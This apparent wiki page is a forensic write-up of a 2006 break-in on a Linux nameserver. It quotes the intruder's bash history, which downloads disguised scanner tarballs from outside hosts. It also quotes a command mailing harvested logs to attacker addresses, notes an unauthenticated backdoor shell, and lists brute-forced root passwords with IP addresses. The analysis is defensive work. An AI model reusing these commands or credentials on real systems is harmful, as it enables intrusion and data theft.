Forensics on Incident 1

From YobiWiki
Jump to navigation Jump to search

Breach in ns0 @ e..oss

Analysis

ps auwx: 2006/03/17 +-20:20
========
test     30731  0.0  0.0   676  284 ?        S    00:21   0:00 ./ntpd
test     31116  0.0  0.2  2944 1360 ?        Ss   00:28   0:00 SCREEN
test     31117  0.0  0.2  3000 1228 pts/5    Ss   00:28   0:00 /bin/bash
test     31134  0.0  0.2  3164 1368 pts/5    S+   00:29   0:00 /bin/bash
test     32352  0.0  0.0  1444  280 ?        Ss   00:43   0:00 ./go
test     25680  0.0  0.2  2944 1412 ?        Ss   09:03   0:00 SCREEN
test     25681  0.0  0.3  3000 1656 pts/6    Ss   09:03   0:00 /bin/bash
test     25717  0.0  0.3  3160 1748 pts/6    S+   09:03   0:00 /bin/bash
test      4132  0.0  0.0  1344  204 pts/5    T+   10:40   0:00 ./go
test      4135  0.0  0.0     0    0 pts/5    Z+   10:40   0:00 [go] <defunct>
test      3211  0.0  0.0  1344  240 pts/5    T+   20:05   0:00 ./go
test      3224  0.0  0.0     0    0 pts/5    Z+   20:05   0:00 [go] <defunct>
test      4088  0.0  0.2  2704 1260 pts/6    S+   20:35   0:00 /bin/bash ./assh 24.35
test      4089 49.4  0.0  1492  456 pts/6    R+   20:35   4:43 ./pscan2 24.35 22
test      4090  0.0  0.0     0    0 pts/6    Z+   20:35   0:00 [pscan2] <defunct>
test      4097  0.0  0.2  2704 1260 pts/5    S+   20:35   0:00 /bin/bash ./assh 200.56
test      4098 49.4  0.0  1492  456 pts/5    R+   20:35   4:43 ./pscan2 200.56 22
test      4099  0.0  0.0     0    0 pts/5    Z+   20:35   0:00 [pscan2] <defunct>


Screens:
========
test@ns0:/root$ screen -ls
screen -r test/
There are screens on:
        31116.pts-4.ns0 (Detached)
        25680.pts-4.ns0 (Detached)
2 Sockets in /var/run/screen/S-test.

test@ns0:/root$ screen -r 31116

First screen:
=============
Copy of the current page:

bind: Address already in use
Norok in continuare
######################################################
#                Compiled By D-a-N                   #
#----------------------------------------------------#
#                  Scaner Privat                     #
#----------------------------------------------------#
######################################################
# Incep sa scanez IPuri
# scanning: 200.58.255.* (total: 0) (100.0% done)
# pscan completed in 820 seconds. (found 0 ips)
# Cam putin : 0 de servere
----------------------------------------
# Se apropie sfarsitu :P
Fii pe faza Dane..
ping: unknown host www.yahoo.com
Toata dragostea mea pentru diavola!!!!!!
bind: Address already in use
Norok in continuare
######################################################
#                Compiled By D-a-N                   #
#----------------------------------------------------#
#                  Scaner Privat                     #
#----------------------------------------------------#
######################################################
# Incep sa scanez IPuri
# scanning: 200.59.112.* (total: 0) (43.9% done)

Second screen:
==============
Copy of the full screen buffer:

test@ns0:/var/tmp/..  /dan$
test@ns0:/var/tmp/..  /dan$ ls
200               assh    gen-pass.sh  pass_file  sshf
200.221.pscan.22  auto    go           pscan2     ssh-scan
200.59.pscan.22   common  go.sh        ss         vuln.txt



bind: Address already in use
Norok in continuare
######################################################
#                Compiled By D-a-N                   #
#----------------------------------------------------#
#                  Scaner Privat                     #
#----------------------------------------------------#
######################################################
# Incep sa scanez IPuri
# scanning: 24.37.255.* (total: 0) (100.0% done)
# pscan completed in 820 seconds. (found 0 ips)
# Cam putin : 0 de servere
----------------------------------------
# Se apropie sfarsitu :P
Fii pe faza Dane..
ping: unknown host www.yahoo.com
Toata dragostea mea pentru diavola!!!!!!
bind: Address already in use
Norok in continuare
######################################################
#                Compiled By D-a-N                   #
#----------------------------------------------------#
#                  Scaner Privat                     #
#----------------------------------------------------#
######################################################
# Incep sa scanez IPuri
# scanning: 24.38.136.* (total: 0) (53.3% done)


test@ns0:/var/tmp/..  /2$ ./auto

Enter A class range
24
Enter output file
24
test@ns0:/var/tmp/..  /2$ chmod +x 24
test@ns0:/var/tmp/..  /2$ ./24
######################################################
#                Compiled By D-a-N                   #
#----------------------------------------------------#
#                  Scaner Privat                     #
#----------------------------------------------------#
######################################################
...


Bash history:
=============
Ran history in screen 25680.pts-4.ns0:
test@ns0:/var/tmp/..  /2$ history
48 first line identical to .bash_history then
   49  ./auto
   50  chmod +x 24
   51  ./24

Content of .bash_history:
ls
cd
ls
wget
wget rzv69.marte.ro/rzv69.tgz
tar zxvf rzv69.tgz
ls
del 404
wget fire.prohosting.com/claubuc/scaner.jpg
tar xzvf scaner.jpg
cd scaner
./assh 207.44
ls
./auto 207.44
./assh 213.186
cd /var/tmp
cd .."  "
screen
w
passwd
w
cd /var/tmp
ls -a
cd /home/test/
ls -a
cd scaner
ls -a
cat vuln.txt
cd /var/tmp
cat /etc/hosts
su vinoj
su vinoj
su trollingsecours
su trollingsecours
su trollingsecours
cd /var/tmp
ls -a
mkdir .."  "
cd .."  "
wget fire.prohosting.com/scarlatu/dan.jpg
wget fire.prohosting.com/scarlatu/psy.jpg
tar xzvf psy.jpg
cd .bash
./ntpd
cd ..
tar xzvf dan.jpg
cd dan
screen
ls -a
./go.sh 200.41
./assh 200.41
exit
w
screen -r
screen -r 30860.pts-2.ns0
screen -r 31116.pts-4.ns0
cd /var/tmp
cd .."  "
cd dan
pico vuln.txt
rm -rf vuln.txt
touch vuln.txt
cd ..
tar xzvf dan.jpg
ls -a
cd dan
ls -a
cd ..
mv dan 1
tar xzvf dan.jpg
mv dan 2
mv 1 dan
ls -a
cd 2
screen
screen -r
screen -r 30860.pts-2.ns0
screen -r
screen -r 31116.pts-4.ns0
screen -r  25680.pts-4.ns0
screen -r
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
cd /var/tmp
cd .."  "
cd 2
pico vuln.txt
cd ..
cd dan
pico vuln.txt
cat vuln.txt
clear
w
screen -r
screen -r
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
w
ls -a
cd /var/tmp
cd .."  "
cd dan
vi vuln.txt
cd /var/tmp
cd .."  "
cd dan
vi vuln.txt
ls -a
cd ..
cd 2
vi vuln.txt
ls -a
w
screen -r
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
screen -r 25680.pts-4.ns0
screen -r 31116.pts-4.ns0
cd /var/tmp
cd .." "
cd .."  "
cd dan
vi vuln.txt
ls -a
cd ..
cd 2
vi vuln.txt
ls -a
screen -r
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
screen -r 25680.pts-4.ns0
screen -r 31116.pts-4.ns0
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
ftp
screen -r
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
screen -r 25680.pts-4.ns0
screen -r 31116.pts-4.ns0
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
screen -r 25680.pts-4.ns0
screen -r 31116.pts-4.ns0
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
ftp
screen -r
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
w
screen -r
screen -r 31116.pts-4.ns0
screen -r 25680.pts-4.ns0
crontab -e

Tools:
======
* Attempt to download rzv69.marte.ro/rzv69.tgz, err 404
* Download tools from fire.prohosting.com/claubuc/scaner.jpg (tgz)
* Download tools from fire.prohosting.com/scarlatu/dan.jpg (tgz)
* Download tools from fire.prohosting.com/scarlatu/psy.jpg (tgz)
* Romanian scripts
* Compiled By D-a-N
* cat log|mail -s 'linux-printer' usdpower@yahoo.com (dan tools)
* cat log|mail -s 'linux-printer' scaneru_meu@yahoo.com (scaner tools)

Scans:
======
* scan ssh on ranges 200.55 200.58 200.59 24.34 24.37 24.38 207.44 213.186
Netstat Abstract: (within the 800 simultaneous scans)
tcp        0      1 213.186.53.59:59930     24.35.236.71:22         SYN_SENT   4089/pscan2
tcp        0      1 213.186.53.59:60352     200.56.236.93:22        SYN_SENT   4098/pscan2
tcp        0      1 213.186.53.59:60288     200.56.236.29:22        SYN_SENT   4098/pscan2
tcp        0      1 213.186.53.59:60424     200.56.236.165:22       SYN_SENT   4098/pscan2
tcp        0      1 213.186.53.59:60233     200.56.235.229:22       SYN_SENT   4098/pscan2
tcp        0      1 213.186.53.59:60169     200.56.235.165:22       SYN_SENT   4098/pscan2
tcp        0      1 213.186.53.59:60095     200.56.235.91:22        SYN_SENT   4098/pscan2


IRC:
====
* Connection to IRC(6667) with psyBNC(ntpd) to 195.204.1.130
** = oslo1.no.eu.undernet.org
Netstat:
tcp        0      0 0.0.0.0:6667            0.0.0.0:*               LISTEN     30731/ntpd
tcp        0      0 213.186.53.59:34227     195.204.1.130:6667      ESTABLISHED30731/ntpd

Diffs between the downloaded tool and the hacker's version:

--- log/psybnc.log	1970-01-01 01:00:00.000000000 +0100
+++ log/psybnc.log	2006-03-19 23:32:53.000000000 +0100
@@ -0,0 +1,15 @@
+Fri Mar 17 00:21:14 :Listener created :0.0.0.0 port 6667
+Fri Mar 17 00:21:14 :psyBNC2.3BETA-cBtITLdDMSNp started (PID :30731)
+Fri Mar 17 00:21:14 :Loading all Users..
+Fri Mar 17 00:21:14 :No Users found.
+Fri Mar 17 00:21:29 :connect from 209-NAT.s-man.net
+Fri Mar 17 00:21:31 :Lost Connection from 209-NAT.s-man.net (dan)
+Fri Mar 17 00:22:31 :connect from 209-NAT.s-man.net
+Fri Mar 17 00:22:39 :Noul User:dan (x) a fsot adaugat de  dan
+Fri Mar 17 00:22:48 :User dan () nu are nici un server adaugat
+Fri Mar 17 00:23:05 :User dan () trying lelystad.nl.eu.undernet.org port 6667 ().
+Fri Mar 17 00:23:05 :User dan () connected to lelystad.nl.eu.undernet.org:6667 ()
+Fri Mar 17 00:23:27 :Userul dan () A fost deconectat(de la lelystad.nl.eu.undernet.org) motivul: Closing Link: D4aNieL by Lelystad.NL.EU.UnderNet.Org (K-lined)
+Fri Mar 17 00:23:42 :User dan () trying 195.204.1.130 port 6667 ().
+Fri Mar 17 00:23:43 :User dan () connected to 195.204.1.130:6667 ()
+Fri Mar 17 00:30:35 :User dan quitted (from 209-NAT.s-man.net)

--- motd/USER1.MOTD	1970-01-01 01:00:00.000000000 +0100
+++ motd/USER1.MOTD	2006-03-19 23:32:53.000000000 +0100
@@ -0,0 +1,71 @@
+:Oslo1.NO.EU.undernet.org 001 D4aNieL :Welcome to the UnderNet IRC Network, D4aNieL

+:Oslo1.NO.EU.undernet.org 002 D4aNieL :Your host is Oslo1.NO.EU.undernet.org, running version u2.10.11.07

+:Oslo1.NO.EU.undernet.org 003 D4aNieL :This server was created Mon Sep 5 2005 at 01:40:32 CEST

+:Oslo1.NO.EU.undernet.org 004 D4aNieL Oslo1.NO.EU.undernet.org u2.10.11.07 dioswkgx biklmnopstvr bklov

+:Oslo1.NO.EU.undernet.org 005 D4aNieL WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE SILENCE=15 MODES=6 MAXCHANNELS=30 MAXBANS=45 NICKLEN=12 MAXNICKLEN=15 :are supported by this server

+:Oslo1.NO.EU.undernet.org 005 D4aNieL TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,imnpstr CASEMAPPING=rfc1459 NETWORK=UnderNet :are supported by this server

+:Oslo1.NO.EU.undernet.org 251 D4aNieL :There are 31261 users and 80486 invisible on 28 servers

+:Oslo1.NO.EU.undernet.org 252 D4aNieL 82 :operator(s) online

+:Oslo1.NO.EU.undernet.org 253 D4aNieL 237 :unknown connection(s)

+:Oslo1.NO.EU.undernet.org 254 D4aNieL 42167 :channels formed

+:Oslo1.NO.EU.undernet.org 255 D4aNieL :I have 7253 clients and 1 servers

+:Oslo1.NO.EU.undernet.org 375 D4aNieL :- Oslo1.NO.EU.undernet.org Message of the Day -

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :- 2005-12-16 5:48

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==>     Welome to Oslo*.NO.EU.undernet.org

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==>     Disclaimer / Rules

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         Irc is an umoderated international medium. Cloning is

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         strictly forbidden on this server, any clones will

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         not be tolerated. Mass Messaging / Mass Invites are not

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         allowed on any Undernet server, any offenders will be killed.

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         Using this server means you agree to all of its rules and the

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         rules of Undernet. If you cannot agree to this then /quit now.

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==>     Server contact info:

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         E-mail     : oslo@undernet.org

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==>     News:

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         [12.05.2005]

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         We are out of news.

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         [12.12.2004]

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         We shut down the channel #banetele. Most of the users in there needed

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         reop/channel related helping and we have #nastrand for that. For info

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         not related to channel/user problems, email oslo@undernet.org.

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         [26.08.2003]

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         We are back online :)

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         Thank you to our provider www.banetele.com for all help!

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==>     Ports:

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-                 6666, 6667, 6668, 7000

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==>     Bot Policies:

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         It is allowed to run NON abusive bots on this server, all abusive

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         bots will be killed on sight.

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         Undernet has Cservice. Go to http://cservice.undernet.org

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         or #Cservice if you have any questions.

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==>     Help Channels:

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         #nastrand       ->      Oper/IRC Help

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         #cservice       ->      Cservice questions

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         #mIRC           ->      For mIRC questions

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         #vh             ->      For help with viruses

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         #helpchan       ->      IRC Help

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         Please notice that these channels are not administrated by the

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         oslo.* crew and we and/or the server sponsors can not be held

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         responsible for actions taken or info given in the channels.

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==>     AGAIN .. READ THIS !!

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         NO CLONES, NO FLOODING, NO HARASSING, NO SPAMMING!

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         The use of this server is no right, but a privilege. The admin(s)

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         and opers can revoke this priviledge without further notice and

+:Oslo1.NO.EU.undernet.org 372 D4aNieL :-         without a reason.

+:Oslo1.NO.EU.undernet.org 376 D4aNieL :End of /MOTD command.


--- psybnc.conf	2003-04-07 14:47:00.000000000 +0200
+++ psybnc.conf	2006-03-19 23:32:53.000000000 +0100
@@ -1,3 +1,25 @@
 PSYBNC.SYSTEM.PORT1=6667
 PSYBNC.SYSTEM.HOST1=*

 PSYBNC.HOSTALLOWS.ENTRY0=*;*

+USER1.USER.LOGIN=dan
+USER1.USER.USER=x
+USER1.USER.PASS==0x'q'0'W`2'S0I'F`x
+USER1.USER.RIGHTS=1
+USER1.USER.VLINK=0
+USER1.USER.PPORT=0
+USER1.USER.PARENT=0
+USER1.USER.QUITTED=0
+USER1.USER.DCCENABLED=1
+USER1.USER.AUTOGETDCC=0
+USER1.USER.AIDLE=0
+USER1.USER.LEAVEQUIT=0
+USER1.USER.AUTOREJOIN=1
+USER1.USER.SYSMSG=1
+USER1.USER.LASTLOG=0
+USER1.USER.NICK=D-a-N
+USER1.SERVERS.SERVER1=lelystad.nl.eu.undernet.org
+USER1.SERVERS.PORT2=6667
+USER1.SERVERS.SERVER2=195.204.1.130
+USER1.SERVERS.PORT1=6667
+USER1.CHANNELS.ENTRY1=#porumbei
+USER1.CHANNELS.ENTRY0=#xibit


Backdoor:
=========
* ./go opens port 19876 with a shell without auth
cf http://www.2701.org/archive/200311240000.html
Netstat:
tcp        0      0 0.0.0.0:19876           0.0.0.0:*               LISTEN     32352/go

* ./ss
cf http://www.securiteam.com/tools/5EP0B0ADFO.html
Fast SYN Scanner (libnet, libpcap)  11 Jul. 2004
Credit:
The information has been provided by Doctor BIOS.
The following tool is a fast SYN scanner written in C.

vuln.txt:
=========
cf http://www.lockeddown.net/rst-expl.txt

ssh brute-force:
================
ssh-scan and sshf

./sshf <procese adika cate de alea deodata incerc>
~= how many processes to run together

/etc/passwd:
============
test:x:1024:1024:,,,:/home/test:/bin/false

mails:
======
cat /etc/passwd
/sbin/ifconfig |grep inet
cat /etc/hosts
uname -a
w
ping -c 3 www.yahoo.com
cat vuln.txt
chmod +x go
./go

139P Received: from test by ns0.exxoss.com with local (Exim 4.50)
	for usdpower@yahoo.com; Fri, 17 Mar 2006 17:35:14 +0100
023T To: usdpower@yahoo.com
023  Subject: linux-printer
047I Message-Id: <E1FKHv0-0008GG-4C@ns0.exxoss.com>
034F From: ",,," <test@ns0.exxoss.com>
038  Date: Fri, 17 Mar 2006 17:35:14 +0100

To-be-Mailed data:
administrator:administrator:24.16.169.218
guest:guest:24.16.169.218
test:test:24.3.178.253
mysql:mysql:200.27.145.74

root:admin1:200.31.199.77
root:password:24.8.131.152
root:secure:24.11.225.20

root:123456:200.32.86.228
root:1234567890:200.32.86.228
root:admin1:200.32.86.228
root:admin:200.32.86.228
root:administrator1:200.32.86.228
root:backup:200.32.86.228
root:passwd:200.32.86.228
root:password123:200.32.86.228
root:password:200.32.86.228
root:qwerty:200.32.86.228
root:root1:200.32.86.228
root:root:200.32.86.228
root:rootroot:200.32.86.228
root:secret:200.32.86.228
root:secure:200.32.86.228
root:administrator:200.32.86.228
(honeypot probably)

RST virus:
==========
Quick and dirty way to find infected files: find . -type f -exec strings --all {} \; |grep snortdos

Files: "Dumb" scan of all files
Switches: -ARCHIVE -PACKED -SERVER
/tmp/scaner/go  Infection: Unix/RST.B
/tmp/scaner/pscan2  Infection: Unix/RST.B
/tmp/scaner/ss  Infection: Unix/RST.B
/tmp/scaner/ssh-scan  Infection: Unix/RST.B
/tmp/scaner/sshf  Infection: Unix/RST.B
Results of virus scanning:
Infected: 5

Seems that infected files are updating them at each run and modify the timestamp
/home/test/scaner:
  23714 2006-03-06 23:23 go
  25503 2005-05-06 19:00 pscan2
 458068 2006-03-07 00:03 ss
 846520 2006-03-07 00:03 sshf
 846832 2006-03-06 23:12 ssh-scan
/var/tmp/..  /2:
  23714 2006-03-17 21:17 go
  25503 2006-03-17 21:17 pscan2
 458068 2006-03-17 21:17 ss
 846520 2006-03-17 21:17 sshf
 846832 2006-03-17 21:17 ssh-scan
/var/tmp/..  /dan:
  23714 2006-03-17 10:35 go
  25503 2006-03-17 21:17 pscan2
 458068 2006-03-17 21:17 ss
 846520 2006-03-17 21:17 sshf
 846832 2006-03-17 21:17 ssh-scan

21:17 corresponds to the crash of the server so probably infected executables are left open even after being killed

Note: same virus present also in:
/ns0/var/www/www.fmjbf.org/phpSecurePages/bindtty2: Linux.RST.B FOUND
/ns0/var/www/www.fmjbf.org/phpSecurePages/btty: Linux.RST.B FOUND



TIMELINE:
=========

2006/02/16 08:58:08	82.79.137.30		vsftpd: Thu Feb 16 08:58:08 2006 [pid 23877] [demo] FAIL LOGIN: Client 		"82.79.137.30"
						Mar  6 12:28:21 localhost sshd[31087]: error: PAM: Authentication failure for skycode from 193.190-200-80.adsl.skynet.be
						Mar  6 12:28:24 localhost sshd[31087]: Accepted keyboard-interactive/pam for skycode from 80.200.190.193 port 13329 ssh2
						Mar  6 12:29:31 localhost sudo:  skycode : TTY=pts/3 ; PWD=/home/skycode ; USER=root ; COMMAND=/bin/bash
						Mar 06 06 12:30:50     4096 m.c drwxr-xr-x root     root     /etc/webmin
			            				        639 m.c -rw------- root     root     /etc/webmin/miniserv.conf
						Mar  6 12:31:05 localhost webmin[31297]: Webmin starting
						Mar  6 12:31:13 localhost webmin[31307]: Successful login as root from 193.190-200-80.adsl.skynet.be
2006/03/06 13:48:47	82.79.137.24	*	vsftpd: Mon Mar  6 13:48:47 2006 [pid 4586] [test] OK LOGIN: Client 		"82.79.137.24"
						Mar 03 06 15:53:30       21 m.c -rw-r----- root     shadow   /etc/webmin/miniserv.users
						Mar 03 06 16:11:31     4096 m.c drwxr-xr-x root     root     /etc/exim4
		    			    	                   7838 m.c -rw-r--r-- root     root     /etc/exim4/exim4.conf
						Mar  6 17:59:47 localhost sshd[22697]: Accepted keyboard-interactive/pam for skycode from 80.201.157.39 port 11272 ssh2
						Mar  6 19:43:12 localhost sshd[32573]: Accepted publickey for dorian1200 from 217.117.45.148 port 49764 ssh2
						Mar  6 19:43:17 localhost sudo: dorian1200 : TTY=pts/4 ; PWD=/home/dorian1200 ; USER=root ; COMMAND=/bin/bash
						Mar  6 20:22:42 localhost sshd[3285]: Accepted keyboard-interactive/pam for skycode from 80.201.157.39 port 12754 ssh2
						dorian12 pts/2        217.117.45.148   Mon Mar  6 21:38 - 21:40  (00:01)
						Mar  6 21:38:37 localhost sshd[10242]: Accepted publickey for dorian1200 from 217.117.45.148 port 44246 ssh2
						Mar  6 21:38:44 localhost sudo: dorian1200 : TTY=pts/2 ; PWD=/home/dorian1200 ; USER=root ; COMMAND=/bin/bash
2006/03/06 22:27:30	82.79.137.26		26.metronetwork.rdsbz.ro - - [06/Mar/2006:22:27:30 +0100] "GET / HTTP/1.1" 200 1053 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "-"
2006/03/06 22:27:31	82.79.137.26		26.metronetwork.rdsbz.ro - - [06/Mar/2006:22:27:31 +0100] "GET /logowhite.png HTTP/1.1" 200 19801 "http://213.186.53.56/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "-"
2006/03/06 22:28:16	82.79.137.27		Mar  6 22:28:16 localhost vsftpd: (pam_unix) authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=82.79.137.27
2006/03/06 22:28:18	82.79.137.27		vsftpd: Mon Mar  6 22:28:18 2006 [pid 14875] [anonymous] FAIL LOGIN: Client 	"82.79.137.27"
2006/03/06 22:28:18	82.79.137.18		Mar  6 22:28:18 localhost vsftpd: (pam_unix) authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=82.79.137.18
2006/03/06 22:28:20	82.79.137.18		vsftpd: Mon Mar  6 22:28:20 2006 [pid 14881] [anonymous] FAIL LOGIN: Client 	"82.79.137.18"
2006/03/06 22:28:29	82.79.137.25	*	vsftpd: Mon Mar  6 22:28:29 2006 [pid 14911] [test] OK LOGIN: Client 		"82.79.137.25"
2006/03/06 22:28:30	82.79.137.14	*	vsftpd: Mon Mar  6 22:28:30 2006 [pid 14914] [test] OK LOGIN: Client 		"82.79.137.14"
2006/03/06 22:28:39	82.79.137.22		Mar  6 22:28:39 localhost sshd[14930]: (pam_unix) authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=22.metronetwork.rdsbz.ro  user=test
2006/03/06 22:28:41	82.79.137.22		Mar  6 22:28:41 localhost sshd[14924]: error: PAM: Authentication failure for test from 22.metronetwork.rdsbz.ro
2006/03/06 22:28:43	82.79.137.22 	*	Mar  6 22:28:43 localhost sshd[14924]: Accepted keyboard-interactive/pam for test from 82.79.137.22 port 1383 ssh2
2006/03/06 22:28:43	82.79.137.22	*	Mar  6 22:28:43 localhost sshd[14934]: (pam_unix) session opened for user test by (uid=0)
2006/03/06 22:28	82.79.137.22	*	test   pts/2        82.79.137.22     Mon Mar  6 22:28 - 00:21  (01:52)
2006/03/06 22:31:06	82.79.137.18		Mar  6 22:31:06 localhost sshd[15200]: Illegal user asd from 82.79.137.18
2006/03/06 23:29:14	82.79.137.7	*	vsftpd: Mon Mar  6 23:29:14 2006 [pid 20547] [test] OK LOGIN: Client 		"82.79.137.7"
2006/03/06 22:40:54	82.79.137.22	*!	Mar 06 06 22:40:54   167818 m.. -rw-r--r-- test     test     /home/test/scaner/207.44.pscan.22
2006/03/06 23:12:35	82.79.137.22	*!	Mar 06 06 23:12:35   846832 m.. -rwxr-xr-x test     test     /home/test/scaner/ssh-scan
2006/03/06 23:23:56	82.79.137.22	*!	Mar 06 06 23:23:56    23714 m.. -rwxr-xr-x test     test     /home/test/scaner/go
2006/03/06 00:03:34	82.79.137.22	*!	Mar 07 06 00:03:34   846520 m.. -rwxr-xr-x test     test     /home/test/scaner/sshf
2006/03/06 00:03:34	82.79.137.22	*!	                       4096 m.. drwxr-xr-x test     test     /home/test/scaner
2006/03/06 00:03:34	82.79.137.22	*!	                     458068 m.. -rwxr-xr-x test     test     /home/test/scaner/ss
						skycode  pts/3        213.186.53.55    Tue Mar  7 00:14 - down   (00:45)
2006/03/07 00:21:24	82.79.137.22	*	Mar  7 00:21:24 localhost sshd[14934]: (pam_unix) session closed for user test
						skycode  pts/2        213.186.53.55    Tue Mar  7 00:58 - down   (00:01)
						runlevel (to lvl 6)   Tue Mar  7 00:59 - 00:59  (00:00)     2.4.27-2-386
						shutdown system down  Tue Mar  7 00:59 - 01:02  (00:02)     2.4.27-2-386
						reboot   system boot  Tue Mar  7 01:02 - 08:45  (07:42)     2.4.27-2-386
						runlevel (to lvl 2)   Tue Mar  7 01:02 - 08:45  (07:42)     2.4.27-2-386
						skycode  pts/0        Tue Mar  7 01:04 - 01:04  (00:00)     213.186.53.55
						skycode  pts/0        Tue Mar  7 08:28 - down   (00:16)     213.186.53.55
						runlevel (to lvl 6)   Tue Mar  7 08:45 - 08:45  (00:00)     2.4.27-2-386
						shutdown system down  Tue Mar  7 08:45 - 08:48  (00:02)     2.4.27-2-386
						reboot   system boot  Tue Mar  7 08:48 - 09:18  (00:30)     2.4.27-2-386
						runlevel (to lvl 2)   Tue Mar  7 08:48 - 09:18  (00:30)     2.4.27-2-386
						skycode  pts/0        Tue Mar  7 08:56 - down   (00:22)     213.186.53.55
						skycode  pts/1        Tue Mar  7 09:17 - down   (00:01)     213.186.53.55
						runlevel (to lvl 6)   Tue Mar  7 09:18 - 09:18  (00:00)     2.4.27-2-386
						shutdown system down  Tue Mar  7 09:18 - 09:22  (00:03)     2.4.27-2-386
						reboot   system boot  Tue Mar  7 09:22 - 09:25  (00:03)     2.4.27-2-386
						runlevel (to lvl 2)   Tue Mar  7 09:22 - 09:25  (00:03)     2.4.27-2-386
						skycode  pts/0        Tue Mar  7 09:23 - down   (00:01)     217.136.140.81
						runlevel (to lvl 6)   Tue Mar  7 09:25 - 09:25  (00:00)     2.4.27-2-386
						shutdown system down  Tue Mar  7 09:25 - 09:28  (00:02)     2.4.27-2-386
						reboot   system boot  Tue Mar  7 09:28 - 09:44  (00:15)     2.4.27-2-386
						runlevel (to lvl 2)   Tue Mar  7 09:28 - 09:44  (00:15)     2.4.27-2-386
						skycode  pts/0        Tue Mar  7 09:34 - down   (00:09)     217.136.140.81
						runlevel (to lvl 6)   Tue Mar  7 09:44 - 09:44  (00:00)     2.4.27-2-386
						shutdown system down  Tue Mar  7 09:44 - 09:48  (00:04)     2.4.27-2-386
						reboot   system boot  Tue Mar  7 09:48 - 01:03 (12+15:14)   2.4.27-2-386
						runlevel (to lvl 2)   Tue Mar  7 09:48 - 01:03 (12+15:14)   2.4.27-2-386


2006/03/09 14:57:31	82.79.137.27	*	vsftpd: Thu Mar  9 14:57:31 2006 [pid 5545] [test] OK LOGIN: Client 		"82.79.137.27"
2006/03/09 14:57:31	82.79.137.26	*	vsftpd: Thu Mar  9 14:57:31 2006 [pid 5541] [test] OK LOGIN: Client 		"82.79.137.26"
2006/03/09 14:57:31	82.79.137.28	*	vsftpd: Thu Mar  9 14:57:31 2006 [pid 5543] [test] OK LOGIN: Client 		"82.79.137.28"
2006/03/09 14:57:31	82.79.137.7	*	vsftpd: Thu Mar  9 14:57:31 2006 [pid 5547] [test] OK LOGIN: Client 		"82.79.137.7"
